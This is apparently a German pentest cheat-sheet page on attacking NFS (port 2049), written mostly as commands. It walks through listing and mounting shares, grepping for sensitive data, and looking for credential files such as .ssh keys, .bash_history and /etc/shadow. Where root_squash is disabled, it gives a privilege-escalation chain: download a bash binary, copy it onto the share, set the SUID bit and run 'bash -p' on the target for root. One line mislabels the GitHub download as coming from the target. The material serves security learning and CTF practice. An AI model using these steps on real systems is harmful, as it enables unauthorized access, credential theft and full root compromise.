2049 - NFS Service

Step for Step

showmount -e <IP-Adresse>

Listet die freigegebenen NFS-Verzeichnisse des Zielrechners auf.

mount -t nfs <IP-Adresse>:<Share> /mnt/nfs

Bindet den freigegebenen NFS-Share lokal ein.

ls /mnt/nfs

Zeigt den Inhalt des gemounteten NFS-Verzeichnisses an.

find /mnt/nfs -type f -exec grep -i "keyword" {} +

Sucht nach sensiblen Informationen in Dateien.

touch /mnt/nfs/testfile

Prüft, ob Schreibrechte vorhanden sind, indem eine Datei erstellt wird.

Verzeichnisse

Verzeichnis
Beschreibung & Hinweise

/home

Enthält Benutzerverzeichnisse. Prüfe auf Konfigurationsdateien wie .ssh/authorized_keys und .bash_history für mögliche Zugangsdaten.

/var

Beinhaltet Logs und andere Systeminformationen. Besonders interessant sind /var/log, da hier System- und Anwendungslogs gespeichert sind, die potenziell sensible Informationen enthalten.

/etc

Enthält Systemkonfigurationsdateien. Besonders wichtig sind Dateien wie passwd, shadow, und fstab, die sicherheitsrelevante Informationen enthalten könnten.

/export

Häufig genutzter Standardpfad für NFS-Freigaben. Achte auf individuell konfigurierte Freigaben, die sensible oder wertvolle Daten enthalten könnten.

/mnt oder /media

Temporäre oder externe Mount-Punkte. Untersuche sie auf Backups oder externe Datenquellen, die sensible Informationen beinhalten könnten.

/backup

Möglicherweise enthält es Backups von Systemen oder Anwendungen. Diese könnten wichtige Daten wie Passwort-Hashes, Konfigurationsdateien oder Datenbanken enthalten.

root_squash

Eine Sicherheitsmaßnahme bei NFS, die verhindert, dass Benutzer mit root-Rechten auf dem NFS-Share arbeiten. Wenn root_squash deaktiviert ist, können Benutzer mit root-Rechten auf dem NFS-Share arbeiten und Dateien mit root-Rechten erstellen, was für die Privilegieneskalation ausgenutzt werden kann.

falls dies disabled ist:

wget <https://github.com/polo-sec/writing/raw/master/Security%20Challenge%20Walkthroughs/Networks%202/bash>

Lädt die Bash-Executable vom Zielrechner auf dein lokales System

cp ~/Downloads/bash /mnt/nfs/bash

Kopiere die Bash-Executable in das gemountete NFS-Verzeichnis.

chmod +s /mnt/nfs/bash (evtl.: chmod +x /mnt/nfs/bash)

Setzt das SUID-Bit, sodass die Bash-Executable mit den Rechten des Besitzers (root) ausgeführt wird

ssh -i key_name username@<IP-Adresse>

Melde dich auf dem Zielsystem an, um auf die Shell zuzugreifen.

/mnt/nfs/bash -p

Die Bash wird mit root-Rechten ausgeführt, da das SUID-Bit gesetzt wurde. (auf dem Zielsystem)

SUID-Bit

Das SUID-Bit ist ein spezielles Berechtigungsbit in Unix/Linux-Dateisystemen, das es einer ausführbaren Datei ermöglicht, mit den Rechten des Dateieigentümers ausgeführt zu werden, anstatt mit den Rechten des Benutzers, der die Datei ausführt.

Wie funktioniert das?

  • Normalerweise werden Programme mit den Rechten des Benutzers ausgeführt, der sie startet. Wenn das SUID-Bit jedoch gesetzt ist, wird das Programm mit den Rechten des Eigentümers der Datei ausgeführt.

  • Zum Beispiel: Wenn eine Datei root gehört und das SUID-Bit gesetzt ist, wird die Datei mit rootRechten ausgeführt, selbst wenn ein normaler Benutzer sie startet.

Last updated